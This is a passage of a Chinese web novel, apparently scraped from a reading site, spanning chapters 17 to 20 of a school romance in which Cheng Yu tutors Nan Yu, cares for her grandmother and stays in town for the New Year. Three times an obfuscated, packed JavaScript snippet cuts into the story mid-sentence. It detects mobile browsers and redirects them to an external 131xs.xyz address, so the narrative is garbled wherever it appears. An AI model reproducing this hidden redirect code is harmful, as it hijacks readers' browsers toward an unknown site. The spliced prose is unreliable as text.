练习册上的内容基础,但有些题对南鱼而言也很难。 她有些想放弃了,但看到在一旁认真做题的程遇,南鱼又继续咬牙坚持。 做了好久,南鱼把练习册让程遇检查。 程遇在题目旁边打着对错,南鱼咬着唇有些紧张地看着。 程遇把题目批改完,把练习册再放到南鱼面前。 看着上面的批改痕迹,南鱼叹了口气,果不其然,错的比对的要多。 “没事,我们慢慢来。”程遇拿起练习册开始给南鱼分析错题,南鱼这次打起了十二分精神去听。 不知不觉一天过去,程遇仍旧要赶末班车,收拾东西离开。 临走前,他给南鱼布置好任务。 南鱼这次把他送到公交站,两人在路上真正意义的交换了联系方式。 存好手机号,加过□□好友,公交车刚好开了过来,程遇上车,坐在靠窗的位置。 他往外看,南鱼站在那里,笑着朝他挥手,“程遇,谢谢你。” “再见。” 公交车启动,程遇从窗户往后看,南鱼的身影越来越远。 但此刻,程遇觉得,他们好像越来越近了。 次日,程遇照旧来找南鱼补习。 他刚给南鱼讲了两课练习题,刘铁带着刘德旋和刘愿生来到了医院。 刘铁和刘愿生先进了病房,刘德旋在门口鬼鬼祟祟的往里探头。 南鱼好笑地看他,“进来啊,你干嘛呢?” 刘德旋挠挠头,把南鱼拉了出来,小声地问:“我进去奶奶看到我会不会生气。” 南鱼往里看了一眼,奶奶正乐呵呵地招待刘铁他们。 “不会,进去吧,你们能来她应该会开心的。” 刘德旋轻手轻脚地跟在南鱼身后,奶奶看到她,眯着眼朝着招手,“你也是南鱼朋友,快来坐这儿吃橘子。” 奶奶语气和善,刘德旋松了口气,他嬉皮笑脸地凑了过去,“好,谢谢奶奶!” 几个人来到这,奶奶让南鱼又是给他们倒水又是拿吃的,南鱼有些抱怨,“一个个跟大爷似的,也不知道来这儿干嘛。” 刘德旋笑嘻嘻的回:“当然是来看奶奶啊!” 他嘴甜,一会儿把奶奶哄得心花怒放,开心的不能行。 到了中午,奶奶催着南鱼带他们出去吃饭。 刘德旋举手,“我要吃大餐!” 刘愿生在一旁点头赞同:“好不容易来一趟市里,我也想吃好吃的。” 刘铁说:“我知道附近有一家烤鱼还不错,可以去吃那家。” 几个人都没意见。 刘铁带着他们出去,刘德旋在前面叽叽喳喳的说个不停。 程遇接了个电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283286|182562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,南鱼故意放慢脚步等他。 挂断电话,南鱼若无其事的问:“谁给你打的电话?” 程遇说:“我奶奶,问我回去吃饭不。” 南鱼“哦”了一声,接着说:“今天我没学多少,等回去我就补上。” 程遇笑了笑:“好。” 几个人到了饭店,南鱼先去了一趟洗手间。 再回来,他们已经点好菜了。 烤鱼桌子四四方方,他们四个刚好占了四个方位,南鱼看了看,自然地坐在了程遇旁边。 刘铁注意到,眼神暗了暗。 她坐下,程遇侧脸看她说:“我给你点了一份烤鸡翅。” 南鱼挑眉,“这里还有烤串?” “烤箱烤的,奥尔良口味,应该也不错,”程遇说,“是在小吃里的菜。” 南鱼点了点头。 莫名的,南鱼突然想起来上次程遇喝醉酒对她说的话。 ——“他都知道你喜欢吃烤翅,我什么都不知道。” 她忍不住弯了弯唇。 现在,程遇也记下了这件事。 “程遇,”南鱼靠近他,在他耳边轻声说了句,“我还喜欢吃炸薯条,刘铁不知道。” 耳边传来阵阵热气,鼻腔中有股若隐若无的香气,程遇的身体僵了一下。 他转身去看南鱼,南鱼一脸笑意。 程遇察觉到,他的心跳不受控制地在胸腔内加快跳动。 点好菜没一会儿,服务员就端着炉子和一盘撒好调料的生鱼过来放到桌子上。 炉子点燃,鱼放上面烤,服务员在旁边放了一个沙漏,说沙漏漏完鱼就烤好了。 几个人围着烤鱼聊天,刘德旋问南鱼:“奶奶什么时候出院?” “后天。”南鱼回。 奶奶一直觉得医院太闷,在这里才呆第三天就已经呆不下去了。南鱼在早上医生查房的时候和医生聊了聊,医生建议她在医院多观察两天再出院。 “你不在学校还真有点想你。”刘德旋感叹。 刚说完这句话,刘德旋就后悔了,此时有两道冰冷的目光落在他脸上。 他忍不住打了个哆嗦。 这天可真冷啊。 刘德旋去找刘愿生抱团取暖取得共鸣,没想到,刘愿生大大咧咧的,根本没有察觉到这不同寻常的氛围,他拿着菜单认真地看,又朝服务员加了两道小吃。 刘德旋:“……” 得,是真的吃货没错了。 吃完饭,刘铁他们在病房呆到四点多就要回去。 “一起?”刘铁看向程遇。 南鱼先一步说:“你跟着他回去吧,省的等公交了。” 程遇看了看南鱼,思索了一下,点头同意,“行。” 南鱼把他们送到车上,刘铁叼了根烟,落下车窗,“你回去吧,明天我来接你们。” “行,那我就回了。”临走前,南鱼又朝着坐在后座的程遇看了一眼。 车开出了很远,刘德旋和刘愿生早上起的早,这会儿已经睡过去了。 程遇静静地看着车外,一直没有说话。 刘铁从后视镜看看他,打破这份寂静,“你在给南鱼补习。” “是。”程遇没想到刘铁朝他搭话。 他回答完,又是一片沉默。 路上经过一个红灯,刘铁踩着刹车停了下来。 他又往嘴里送了一根烟,拿打火机点着,吸了一口,手伸出去在窗外弹了弹烟灰,“我倒是小瞧你了。” 程遇绷着张脸,没有说话。 绿灯,刘铁松了刹车,给车挂挡,车子再次启动的时候,程遇听到他说: “以后,我不会再让步了。” 18. 第 18 章 南鱼在周二的时候回到了学校,她来到学校的时候,程遇正低着头在笔记本写着什么东西。 她的位置上放了一瓶酸奶,以及一个包装严实的纸袋。 南鱼打开,纸袋里面包的是炸的有些黑的薯条以及一包番茄酱。 南鱼笑了下,她戳了戳程遇,“酸奶和薯条你给我的?” 程遇抬头,“嗯”了一声。 “薯条你自己炸的么?”南鱼问 “……”犹豫了下,程遇点头,“是。” “炸的好丑。” 程遇唇线绷直。 这已经是他炸的第四锅了,已经比之前三锅好太多了,但还是很失败。 南鱼笑着拿起一根沾着番茄酱咬了一口,评价道:“不过味道还可以。” 程遇松了口气。 南鱼把所有的薯条一根不剩的全部吃进肚子,她拿纸擦了擦手,把垃圾全部丢掉。 “今天我学什么?”再坐到位置上,南鱼托着下巴问程遇。 程遇从抽屉里拿了一本高一的数学资料递给她,“最近先把高一的知识给过一遍,从数学开始。” 南鱼接过,低头看了眼,“你从来弄来的高一资料?” “周末在市里买的。”程遇说。 南鱼“哦”了一声,想起来:“你什么时候买的,我怎么不知道。” “回去的路上,在书店停了会儿。” 南鱼还想再问什么,就看到一个女生拿着卷子朝程遇走过来。 “你好——” “抱歉,”不等女生开口,程遇就先一步拒绝,“我最近比较忙,没时间讲题,如果你有问题可以去问第二排中间位置穿黄色外套的女生。” 女生被拒得干脆,她看看程遇,又看看万以荣,为了缓解尴尬,她最终还是朝万以荣走了过去。 “你拒绝的倒是利落。”南鱼轻笑一声。 “我辅导你一个人就够了,”程遇把整理好的重要知识点放到南鱼面前,“今天把前两节练习题上午全部做完,我下午给你讲。” 南鱼翻了翻课本,“……这么多?” “我能不能——” “不能,”程遇平静的眼眸看着她,提醒说,“你别忘了你在医院对我说的话。” 南鱼垂头丧气,“好吧。” 课间,刘德旋来找南鱼玩儿,看到南鱼在低头做题,他瞪大了眼睛,觉得不可思议。 “我是不是看错了?”刘德旋掐了掐自己。 没错啊,他觉得自己见了鬼了,南鱼竟然在学习。 “南姐,你受什么刺激了?”刘德旋凑过去问。 南鱼正做题做的烦躁,她不耐烦地赶刘德旋走,“我要做题,别打扰我。” 刘德旋“……” 夭寿啦!这竟然真的是南鱼? 刘德旋迅速飞奔回教室,去和刘愿生分享这个不得了的消息。 赶在下午上课前,南鱼终于把前两节练习题做完。 她拿给程遇看。 程遇一页一页认真地检查,看着上面有多处空白,程遇多停顿了一下。 南鱼有些尴尬,“这些不是我不做,是我不会。” 程遇没有说什么,检查完,他花了两堂课的时间把南鱼易错不会做的知识点总结了一下,在最后一节自习课时给她讲了一遍。 题太多,放学后,他们还在教室多待了半个多小时。 来找南鱼一起回家的刘德旋继续震惊。 他撞了撞刘愿生:“你看,我说的没错吧,南姐她竟然学习了!” 刘愿生揉了揉眼睛,也惊讶,“哇!” 两人也没走,新奇地蹲在教室门口看着他俩。 讲完题,南鱼看着一旁正收拾东西的程遇说,“一起回吧。” 程遇点了下头。 两人出了教室,刘德旋和刘愿生站起来跟了上去。 “今晚去网吧玩会儿?”刘德旋问南鱼。 “不去。” “为什么啊?你今晚要去兼职?” “今晚要学习。” 刘德旋:“……” 刘德旋到程遇身边,撞了下他的肩,“你给南姐吃什么药了?” 程遇瞥他一眼。 “她怎么今天如此沉迷学习不能自拔?” 程遇没有理他,加快步子走到南鱼身边。 刘德旋摸了摸脖颈,看了几遍他们两人的背影,终于确定,南鱼好像真的变了。 南鱼回到家,刘铁正在往院子里搬桌子,她快走几步过去搭手,“我来吧。” “不用,你把书包放下来去叫奶奶,一会儿该吃饭了。”刘铁把桌子放稳,又去搬凳子。 南鱼进屋把书包放好,去找奶奶。 奶奶听到院子里的动静,放下手中的针线。 “奶奶,出来吃饭!”南鱼过来叫她。 “哎,好。” 奶奶和南鱼一起出了房门,刘铁已经把饭盛好了。 “尝尝我的手艺。”刘铁笑道。 南鱼夹了一筷子菜,挑眉,“什么时候练的,不错嘛。” 刘铁笑,“一直都会,只是之前没给你露一手罢了。” 奶奶在旁边一直向南鱼夸刘铁,说刘铁这几天帮了她们不少忙,让南鱼一定要好好谢谢他。 刘铁临走时,南鱼靠着门看着他掏摩托车钥匙,“有时间请你吃饭吧,最近谢谢你了。” “不用,”刘铁笑笑,“都这么熟了,还这么客气?” 南鱼定定的看了他一会儿,“我欠你的人情有点太多了。” “那就先攒着,等我需要的时候再还,”刘铁把摩托车打着,冲她挥手,“走了。” 摩托车留下一片尘土,南鱼看着他的背影,叹了口气。 一连好多天,南鱼都在跟着程遇认真地学习。 她的变化不仅刘德旋看到了,就连万以荣和宁倩也发现了。 宁倩找她聊过天,问她怎么突然转变了想法,南鱼什么也没说,宁倩最后也没再多问,总归是往好处发展就行。 时间一晃过去,临近期末的时候,班里的气氛都有些紧张起来,南鱼头一次在考试前也产生了紧张的情绪。 她生怕自己没有进步,这样就辜负了程遇对她的一对一补习。 学习的时候,南鱼总有些心不在焉,程遇察觉到,安慰她,“不用担心,你肯定可以。” 南鱼趴在桌子上,用力地摁着铅笔,“你就这么相信我?” “当然,”程遇笑了下,“你是我教出来的,我对你有信心。” 南鱼沉默了,她在桌子上又趴了一会儿,直起身子继续开始投入学习状态。 考试那天下了雪,天地白茫茫一片,程遇站在南鱼家路口等她上学。 不远处的门“吱吖”一声响,程遇看到南鱼嘴里咬了个包子,冲奶奶挥了挥手小跑到他面前。 从跟着程遇学习后没多久,程遇就提出要和南鱼一起上学,美名其曰每天早上上学路上还可以监督她多背几个单词。 出于对医院那句承诺的遵循,南鱼咬牙同意了。 刘德旋和刘愿生刚开始也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283287|182562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟他们一起,后来几次南鱼也试图拉着他们一起经受程遇的“折磨”后,他俩再也不和南鱼一起上学了。 “你今天怎么来得这么早。”南鱼咬了口包子问程遇。 程遇说:“下雪了。” 南鱼弯了弯眼,空出一只手去接雪花,“是啊,下雪了。” 没有人不喜欢雪花,南鱼也是,一路上,她的心情看起来很好。 两人并肩往学校走,南鱼把最后一口包子吃掉,突然想起来什么,她把身后的书包背到前面,从里面拿出来一个蓝色的毛线手套。 “对了,我奶奶给你织了个手套,”南鱼把手套递给他,“你戴上试试。” 程遇接过,戴在了手上,举起来让南鱼看了看,“挺暖和的,替我谢谢奶奶。” “不用客气,奶奶说了,这段时间你帮我补课也挺辛苦的,她挺感谢你的。”南鱼摆手说。 程遇偏头去看她,南鱼戴了一顶红色针织帽,帽子遮住她光洁的额头,几绺黑发散落脸颊,衬得她皮肤愈加白皙清透。 快走到校门口时,有一个雪球朝着南鱼“咻”地一下砸到了南鱼身上。 她转身,看到了刘德旋一脸坏笑的在地上团着雪球。 “南姐,接招!”刘德旋又朝南鱼丢了一个雪球。 南鱼侧身去躲,“好你个刘德旋,竟然偷袭!” “兵不厌诈!” “你帮我拿一下!”南鱼麻溜地把书包卸下丢到程遇怀里,也从地上抓雪球,朝着刘德旋反击。 南鱼的雪球扔的精准,刘德旋被砸的毫无反击之力。 程遇站在一旁看着在雪地里打闹的南鱼,她的眼睛亮晶晶的,发丝随着来回奔跑被风吹起来,整个人鲜活灵动,像是雪地里的精灵。 “我求饶,我求饶。”闹了有一会儿,刘德旋喘着粗气。 明明是冷天,他却出了一头汗。 南鱼得意地拍了拍手,“看你下次还敢不敢了!” “不敢,不敢,小的以后再也不敢了。”刘德旋双手抱拳,朝南鱼拜了拜,拎起书包就嬉皮笑脸的跑开了。 南鱼抬了抬下巴,冲着他哼了一声,小跑几步到程遇面前,从他手中拿过书包,冲他笑着说:“我们走吧。” 程遇垂眸看着她,南鱼脖子上的围巾在刚才的混战中被刘德旋砸进去了雪,这会儿雪化了,看起来有些湿。 “你在想什么?不走么?再不走就迟到了。”南鱼看他没反应,抬手在他眼前挥了挥。 程遇突然抓住了她的手,南鱼猛地愣住了。 他的掌心温暖,南鱼回过神,往外拽了拽,没有拽动。 “程遇,你干什么?”南鱼的脸红了起来。 程遇默不作声,他把手上的手套脱了下来,戴在南鱼手上,又把脖子上的围巾换给她。 他的指尖温热,南鱼一时间僵在了那,任由他摆布。 脖子上一冷一热,南鱼能闻到围巾上属于程遇的清爽气息以及能感受到他的体温。 她的脸更红了,“你这是干什么?” “你围巾湿了,别着凉。”程遇把南鱼的湿围巾握在手中。 “那你呢?”南鱼看了眼他空荡荡的脖子。 “我不怕冷。” 南鱼怀疑,“真的?” 程遇点了下头,“真的,我穿的厚。” 南鱼上下打量他。 “走了,别迟到了。”程遇拉着她往学校走。 南鱼难得的没有反抗,乖乖的跟在了他身后,看着程遇饱满的后脑勺,她忍不住弯了弯嘴角。 19. 第 19 章 进了教室,班里的同学基本上都到了。 对于还没有步入高三的学生,期末考试算是一次比较重要的考试,尤其是临近过年的这次期末,考得好与不好意味着他们能不能好好过年,因此大家格外重视这次考试。 考场是按名次排列的,程遇在第一个考场,南鱼在最后一个考场。 南鱼所在的班级就是第一考场,程遇不用再跑去其他教室。 考试九点开始,这会儿还不到八点,第一场语文,大家都在临阵磨枪地默默反复背着文言文和古诗词,以求这次考试能够考到这会儿背到的内容。 南鱼也认真地来回翻着那几页重点诗词。 到了八点半,大家都开始收拾东西进考场。 “文具都带齐了吧?”程遇问南鱼。 “带齐了。” 程遇点了下头,“考试加油。” “好。” 南鱼往最后一个考场走,刘念娣和她顺了一段路。 “你和程遇现在的关系好好呀。”刘念娣笑着说。 南鱼摸了摸鼻尖,莫名觉得有些不好意思,“还好吧。” “我今天在路上看到他牵你手了耶。”刘念娣眼睛亮亮的。 再提起这件事,南鱼的脸又要红了,她尽量语气平静地回:“别误会,那是意外。” 刘念娣“哦”了下,扬起的唇角却没下去。 两天考试很快结束,考试结束,意味着寒假开始。 无论考得好与坏,大家都暂时松了一口气。 刘德旋和刘愿生来找南鱼,说为了庆祝到来的假期,他们想去南鱼家吃火锅。 南鱼无语,“吃火锅就吃火锅,干嘛还非得来我家吃。” “也只有你奶奶欢迎我们了。”刘德旋笑嘻嘻的说。 “……” 可不是,南鱼家只有她和奶奶两个人,奶奶现在越发喜欢热闹,他们如果去家里奶奶会很开心。 南鱼转身问程遇,“你也一起去?” 程遇收拾好东西,“行,不过我得先回家一趟,把书包放家和奶奶说一声。” “好。” 程遇先回了家,南鱼和刘德旋以及刘愿生他们一起去超市买菜。 买菜过程中,刘德旋还和刘铁打了通电话让他也来,刘铁正在忙,说忙完就过来。 食材刚拎回家,程遇就过来了。 他看着准备洗菜的南鱼,把她手中的盆夺了过来,“水凉,你别碰。” 南鱼愣了一下,反应过来,“没事,我还没来。” “那也不行。” 程遇把南鱼赶去陪奶奶,自己一个人在厨房洗菜摆盘。 透过厨房门,南鱼看着他认真洗菜的侧脸,连她都没察觉到,她的唇角又扬了上去。 白天下了雪,晚上气温骤降,南鱼把火锅安排在了屋里。 他们把桌子搬到屋子中央,摆好火锅和配菜,刘德旋就赶了过来。 外面又开始飘起小雪,他过来时,身上落了一层雪花。 刘德旋站在门口拍了拍进来,刘德旋调侃他,“哟,来得够及时,我们忙活了一晚上,刚整好。” “那不正好,刚好赶上吃了。”刘铁笑了笑。 南鱼拿筷子过来,听到刘德旋的话,翻了个白眼,“也没看见你出什么力,菜又不是你洗的。” 刘德旋不服,“谁说我没出力,我去超市提菜了!” 刘愿生在一旁小小吐槽了一句:“结果提到半路嫌累,最后还是南姐提的。” 刘德旋脸红,“那不是中午没吃饭么。” 刘铁下了结论,“行了,你就是虚。” 大家哈哈大笑,刘德旋在一旁不满地反驳。 火锅冒着蒸腾的热气,南鱼坐在了程遇旁边,给他递了杯热水,“你暖暖手。” “好。”程遇接过,指尖握着纸杯,传来阵阵暖意。 “你们寒假准备干什么?有计划么?”刘德旋问他们。 刘愿生说:“我估计会去县里和我爸妈一起过年。” “羡慕了,去县里肯定很热闹,”刘德旋突然想起来,“哎,程遇,你是不是也要回市里过年?” 南鱼也看向程遇。 “还不知道。”程遇似乎对这个话题不怎么感冒,回的比较冷淡。 刘德旋大大咧咧没察觉那么多,“哦哦”了两声转眼就又换了话题。 南鱼看了他一眼,若有所思。 奶奶说她在南鱼他们聊天不自在,而且她自己也吃不了多少东西,就没有出来和他们一起吃,南鱼单独给她煮了一点清淡的端进了屋子里。 几个人吃饱喝足往椅子上一靠,时间不算太晚,刘德旋提议说玩会儿游戏。 刘愿生问他:“玩什么?” “真心话大冒险。”刘德旋一脸坏笑的在刘铁和程遇两人身上打转。 刘铁叼了根烟,“无聊,不玩。” 刘德旋撇撇嘴,“你是不是有秘密不敢玩。” “是,我不敢玩,”刘铁没否认,顺手收拾空盘子,“我去把锅刷了。” 程遇起身准备帮忙,刘铁看了他一眼,“别抢,我之前什么活儿都没干,这次我自己来。” 说着,端起盘子去了厨房。 要刷的东西太多,他们自然不可能让刘铁一个人去。因为饭前一直在闲着,刘德旋也不好意思坐在那,拉着刘愿生去帮忙。 屋内一下只剩下程遇和南鱼,盘子端走,桌上地上一片狼藉。他们两个分了下工,一个扫地,一个擦桌子。 南鱼擦着桌子,心不在焉地看着程遇。 程遇察觉到,停下扫把直起身子问:“有什么事儿想问我?” 心思被看穿,南鱼把抹布扔到桌上说,“你过年是不是要回去?” “你想我回去么?”程遇反问她。 这一问一下把南鱼问住了,她沉默了一会儿,继续拿起抹布擦桌子,边擦边说:“我就是觉得,你要是回去了就没人辅导我学习了。” 她的声音越来越小,程遇听后笑了,“我回市里过年的话,遇到不会的问题你可以在□□上给我发消息。” 南鱼“嗯”了声,语气明显冷淡了下来。 程遇看了她一会儿,忽地意识到什么,唇角轻扬。 雪越下越大,几个人把屋里屋外收拾了就回去了。 送走他们,南鱼进了奶奶的房间,奶奶正在给南鱼织毛衣。 “奶奶。”南鱼过去坐到奶奶的床上,抱住了她的肩靠在了她的身上。 “我们小鱼儿怎么啦?”奶奶放下手中的毛线,用干枯的手摸了摸她的脸。 “没事,就是想抱抱你,”南鱼在她背上蹭了蹭,“今晚我想跟你睡。” “哎哟,多大的人了,”奶奶笑眯眯的,她拍了拍南鱼的手,“想在这睡就在这睡吧。” “我们小鱼儿,一晃就长这么大咯!”奶奶和南鱼依偎在一起,感叹了一句。 人老了似乎格外爱回忆过去,奶奶拉着南鱼,又开始讲起了陈年往事。 窗外的雪呼呼地吹,南鱼坐在那里,就像小时候一样,认真地听她说话。 屋外天寒地冻,此刻这间小屋却格外温暖。 程遇回到家,刘雁花和程国升还正在客厅看电视。 听到门口动静,刘雁花转头看过去,看到是程遇起身问:“小遇,和朋友一起吃完饭了?” 程遇“嗯”了一声,把棉服脱了下来挂在衣架上。 程佑军财大气粗,家里无论是客厅还是卧室在装修的时候都装上了空调。 这会儿空调开着,室内充盈着一股暖气。 “快去洗漱吧,热水已经给你放好了,”刘雁花说,“你爷爷把里面的热水器打开了,别去院子里咯,天冷。” 也考虑到冬天洗漱问题,程佑军还在房子里建了个洗手间,不过程国升总觉得洗手间放在屋里不干净,平时也没用过,还是今天下雪外面的水管冻上了他才想起来把这个洗手间收拾出来。 “好。”程遇点头,去房间内换了拖鞋出来。 程遇洗漱完出来,坐在了两位老人旁边的沙发上。 电视里放着穆桂英挂帅的戏剧,戏剧正演到穆桂英接印出征的片段,里面的角色咿咿呀呀的唱着: “轩门外三声炮如同雷震,天波府里走出来我保国臣,头戴金冠压双鬓,当年的铁甲我又披上了身……” 程遇陪着他们坐在那听了一会儿,突然开口说:“我们今年过年能不回去么?” “你说什么?”听到程遇说话,奶奶暂停了电视。 程遇再次开口,“今年过年我不想回槐州市。” 刘雁花和程国升对视了一眼,刘雁花问:“你不想和你爸一起过年么?” 程遇摇头,和他们商量,“我想在这里过年,今年我们能不回去么?” 程国升思考一会儿,“这个我得明天跟你爸商量商量。” 程遇点头,“好。” 短暂的对话结束,程遇又在客厅坐了会儿才回卧室。 次日一早,程遇被铁锹铲雪的声音吵醒。 他起床出门,院子里的雪已经被程国升清理成一堆儿,堆在角落里。 昨夜下雪,程国升怕花被冻死,把院子里的花都搬到了屋里,这会儿他正又一盆一盆地往外搬。 程遇过去搭手,爷孙俩很快就把花全部搬了出来。 刘雁花端了盆热水给他们洗手,洗完手,程国升拿毛巾擦着手说:“早上我给你爸打了电话了。” “他本来不同意,但你奶奶和我也都不想去市里,今年我们就在这里过年吧。” 程遇正端着水盆准备倒水,闻言脚步顿了一下,说了声“好”。 吃早饭的时候,程国升又提点程遇,“今年我们不去市里过年,你也得给你爸打个电话问好,打断骨头连着筋,好歹是你亲爸,关系别闹太僵。” 程遇垂眸,“我知道了。” 吃过饭,程遇出门去找南鱼。 南鱼家大门没关,程遇直接推门进去。 南鱼正在院子里清雪,看到他有些意外,“你怎么来了?” 程遇过去帮忙,他顺手接过南鱼手中的铁锹,铲着地上冻得邦邦硬的雪说:“我今年在这儿过年。” 南鱼“哦”了一声,想到什么笑道:“你这是专门来告诉我这件事的么?” 程遇用铁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283288|182562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锹把雪往一个地方丢,“是。” 他回的大方,南鱼的嘴角怎么都压不下去。 两人清理完雪,南鱼琢磨着要在奶奶的房间装个空调,昨晚和奶奶一起睡了一晚,她总觉得老太太一整夜手脚都是凉的。 她准备给刘铁打电话问问装空调的事儿,电话还没发过去,程遇把她手机拿走。 “喂!”南鱼有些不满,“你干嘛?” “你为什么不问我?”程遇看着她说。 “你知道怎么选空调么?了解市场行情能不被坑么?”南鱼怀疑的看了他一眼。 程遇看着一副不食人间烟火的样子,这些事南鱼怎么也不相信他能懂。 “但我能搞定。”程遇十分淡定的说。 南鱼:“……” 南鱼还是不相信他,她看着程遇站在院子里不知道给谁打了两通电话。 挂了电话,程遇朝她说:“走吧,我们去选空调。” 南鱼将信将疑地和他一起去了镇上唯一一家卖家电的地方。 老板看到来的是两个小孩儿,也没兴趣招待,懒洋洋地坐在凳子上打游戏。 直到南鱼表达了她要买空调的意图,老板才一脸殷勤地带着他们过去介绍。 “咱这儿的空调品牌可多了,有格力,美的,爱默生,海尔……你看你是想选好一点的还是价格平价一点的?”老板一边介绍一边观察南鱼脸上的神情。 “好一点的吧。”南鱼抬头看着挂在墙上的展示空调说。 老板眼睛亮了亮,开始使出浑身的劲儿介绍:“行,你要选好一点的话我推荐格力的Q迪变频系列,节能省电,很适合家用,我们这款都是卖出来的了,你可以去镇上其他人那打听打听,好多人都买的这款,或者你也可以选美的的这款,老牌子了,知名度很高,冬天制暖效果也很好……” 老板把空调夸的太花乱坠,南鱼和程遇在一旁翻看着产品介绍。 等到老板讲完,南鱼问:“多少钱?” “格力的这款会贵一些,5700,美的的5400,”老板笑眯眯的说,“咱都是一个镇的,这都是给的优惠价,不信你可以去问问。” “贵了。”程遇在一旁淡淡的开口。 老板瞥他一眼,“小伙子,你这是不懂行情,这种名牌空调都是这个价。” 南鱼看了看程遇,程遇脸色平静。 “我来之前打电话问过了,格力的这款空调卖的确实挺好,不过市场价格也就是在3700左右,在县里其他地方最低能讲价到3300左右。” “还有美的的这款,市场价格3400,讲价后3000基本上就能拿下来。” “你这两款开口比市场价虚高2000,这不是宰客呢?” 程遇眼神锐利,老板被他说的脸色涨红,“你个小屁孩儿懂什么市场价,你说市场价那么低,你去别处买啊,别在我这买!” 程遇静静地看了他几秒,拉着南鱼说,“我们走,去县里买,县里有我认识的一个叔叔在那开店,就算费点时间也比这家黑店强。” 程遇拉着南鱼就要离开,老板在后面急得不行,店里好久没开张,眼看到手的声音就要黄了。 他连忙拦住两人,客客气气的笑道:“这大冷的天,就别去县里了,这样吧,我看跟你们两个也挺有缘,我就给你们最低价格力那款给你3800可以吧?” “3300,高了不买。”程遇开口。 “你去县里买空调运回来也要花不少钱呢!”老板皱眉说,“最低3500。” “就3300。”程遇不松口。 老板没同意,程遇拉着南鱼往外走。 “行了,行了,3300给你算了,回来吧。”老板最终妥协。 南鱼交了定金,老板还在嘟囔,“现在的年轻人哟,真是难搞。” 空调下午就能去装上,程遇顺势要求安装费免费,老板无奈,但苦于冷天没生意,最终同意了。 从电器店出来走远,南鱼用轻轻撞了撞程遇的胳膊,一脸意外的说:“这么厉害呀,想不到你这么会搞价啊,一片都没看出来。” 程遇“嗯”了一声。 南鱼接着说:“你知道的这么多,是刚才在院子里打电话问的?” “是,”程遇点头,“我问的一个我爸认识的做电器生意的叔叔。” 南鱼笑了起来,她拍了拍他的肩,“谢了,一下给我省了这么多钱。” 程遇突然顿住脚步,转身看向南鱼。 “怎么了?”南鱼有些奇怪。 “南鱼,其实我会的还挺多的。”程遇突然来了一句。 南鱼笑着点头:“我知道了。” 程遇眼神灼灼,认真地说:“我的意思是,南鱼,以后有什么事情不要再找刘铁了,先来找我可以么?” 话音落地,南鱼怔了一下。 她看着程遇。 少年眉目清朗,一贯平静的眼睛里带了些期盼,看起来要比以往亮很多。 风簌簌的吹,有几片雪花被卷落在他身上,少年长身林立,南鱼的心倏地骤停了一拍。 好半天,南鱼才听到自己的声音,她点了点头,说:“好。” 20. 第 20 章 期末成绩出得挺快,仅用了一周的时间,班主任就把分数以及排名以短信的形式发送到各家长的手机上。 南鱼这次考了410分,看到她自己的成绩,第一时间跑去找程遇。 “我比之前进步了十名。”南鱼开心地把分数的短信拿给程遇看。 南鱼班级总共有六十八个学生,在之前的考试中,她基本上都是在六十二名次左右徘徊,而这次她考了班级五十二名。 程遇看了眼,笑道:“不错,我就说你肯定能进步。。” “你呢?考了多少?”南鱼问。 “736。” 南鱼:“……” 她就不该问,两人差足足三百多分,妥妥的降维打击。 看出来她有些郁闷,程遇安慰说:“你才刚开始学没多久,下次肯定还会有进步。” “你这成绩,肯定到时候要去清北吧。”南鱼说。 “还不知道,到时候再说吧。”程遇问她,“你呢?想去哪里读大学?” “如果我能考上的话,我想去一个有海的地方,”南鱼看着不远处连绵的山,认真地说,“在山里呆久了,想换个地方生活。” “我陪你。” 南鱼转身看他一眼,“嗯?” 程遇重复刚才的话:“我陪你一起去有海的地方。” “……”南鱼严肃地看着他,“不行,那样太浪费你的成绩了。” “沿海城市也有好学校。” “……到那时候再说吧。” 南鱼突然感觉心有些乱乱的,她丢下一句“要回家给奶奶做饭了”就离开了。 程遇在原地站了会儿,也转身回了家。 在外呆了这么一会儿的功夫,家门口停了一辆奥迪。 车牌程遇再熟悉不过,是程佑军的车。 他沉了沉眼眸,推开大门走进去。 王秀敏以及程宿正和刘雁花面对面站着说话。 刘雁花笑脸盈盈地拉着程宿左看右看,“哎哟,长高咯,也比之前瘦了不少。” 王秀敏笑道:“这孩子最近迷上了游泳,佑军给他报了游泳班,他放了假没事儿就去游,现在吃得也不多,可不是能瘦么!” “学习那么累,要多吃点!”刘雁花慈爱地拍了拍程宿的手。 一家人站在那看着其乐融融,程遇站一旁冷淡地看着。 程佑军把带回来的东西搬到屋里,出来就看到了程遇。 “回来站在那干嘛呢?”程佑军皱着眉冲程遇说,“怎么不过来跟你阿姨打声招呼。” 